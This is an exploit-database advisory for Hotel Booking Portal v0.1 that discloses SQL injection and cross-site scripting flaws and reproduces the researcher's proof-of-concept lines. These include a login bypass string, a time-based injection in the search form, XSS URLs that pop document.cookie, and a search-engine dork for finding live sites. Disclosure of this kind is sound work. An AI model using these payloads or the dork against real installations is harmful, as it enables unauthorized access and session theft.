Hotel Booking Portal v0.1 Multiple Vulnerabilities

vendor:

Hotel Booking Portal

by:

Yakir Wizman

7,5

CVSS

HIGH

SQL Injection, Cross Site Scripting

89, 79, 79, 79, 79

CWE

Product Name: Hotel Booking Portal

Affected Version From: v0.1

Affected Version To: v0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:hotels_portal:hotel_booking_portal

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Hotel Booking Portal v0.1 Multiple Vulnerabilities

A vulnerability exists in 'login.php' - Allows for 'SQL injection' of the 'email' and 'password' POST parameters. A vulnerability exists in 'searchresults.php' - Allows for 'SQL injection' of the 'country' POST parameter. A vulnerability exists in 'includes/languagebar.php' - Allows for 'Cross site scripting' of the 'window.location' js. A vulnerability exists in 'administrator/login.php' - Allows for 'Cross site scripting' of the 'window.location' js. A vulnerability exists in 'index.php' - Allows for 'Cross site scripting' of the 'lang' GET parameter.

Mitigation:

Input validation, sanitization, and output encoding should be used to prevent SQL injection and Cross Site Scripting.

Source

Exploit-DB raw data:

# -----------------------------------------------------------
#			   _____ _ _            _      _ 
#			  / ____(_) |          | |    | |
#			 | |     _| |_ __ _  __| | ___| |
#			 | |    | | __/ _` |/ _` |/ _ \ |
#			 | |____| | || (_| | (_| |  __/ |
#			  \_____|_|\__\__,_|\__,_|\___|_|
#			  
# -----------------------------------------------------------
# Hotel Booking Portal v0.1 Multiple Vulnerabilities
# Google dork: "Made And Powered By Hotels Portal"
# Bug discovered by Yakir Wizman, <yakir.wizman@gmail.com>
# Date 09/08/2012
# Download - http://sourceforge.net/projects/hbportal/
# ISRAEL
# -----------------------------------------------------------
#		Author will be not responsible for any damage.
# -----------------------------------------------------------
# I. DESCRIPTION
# -----------------------------------------------------------
# 1). A vulnerability exists in 'login.php' - Allows for 'SQL injection' of the 'email' and 'password' POST parameters.
# 2). A vulnerability exists in 'searchresults.php' - Allows for 'SQL injection' of the 'country' POST parameter.
# 3). A vulnerability exists in 'includes/languagebar.php' - Allows for 'Cross site scripting' of the 'window.location' js
# 4). A vulnerability exists in 'administrator/login.php' - Allows for 'Cross site scripting' of the 'window.location' js
# 5). A vulnerability exists in 'index.php' - Allows for 'Cross site scripting' of the 'lang' GET parameter.
#
# -----------------------------------------------------------
# II. PoC EXPLOIT
# -----------------------------------------------------------
# 1). POST a form to login.php with the value of:
# email set to		: ' or '1'='1
# password set to	: ' or '1'='1
# 2). POST to searchresults.php with the value of 'country' set to Armenia' and sleep(1)='
# 3). http://127.0.0.1/hbportal/includes/languagebar.php?xss=";</script><script>alert(1);</script><script>
# 4). http://127.0.0.1/hbportal/administrator/login.php?xss=";</script><script>alert(1);</script><script>
# 5). http://127.0.0.1/hbportal/index.php?lang=";</script><script>alert(document.cookie);</script><script>
# -----------------------------------------------------------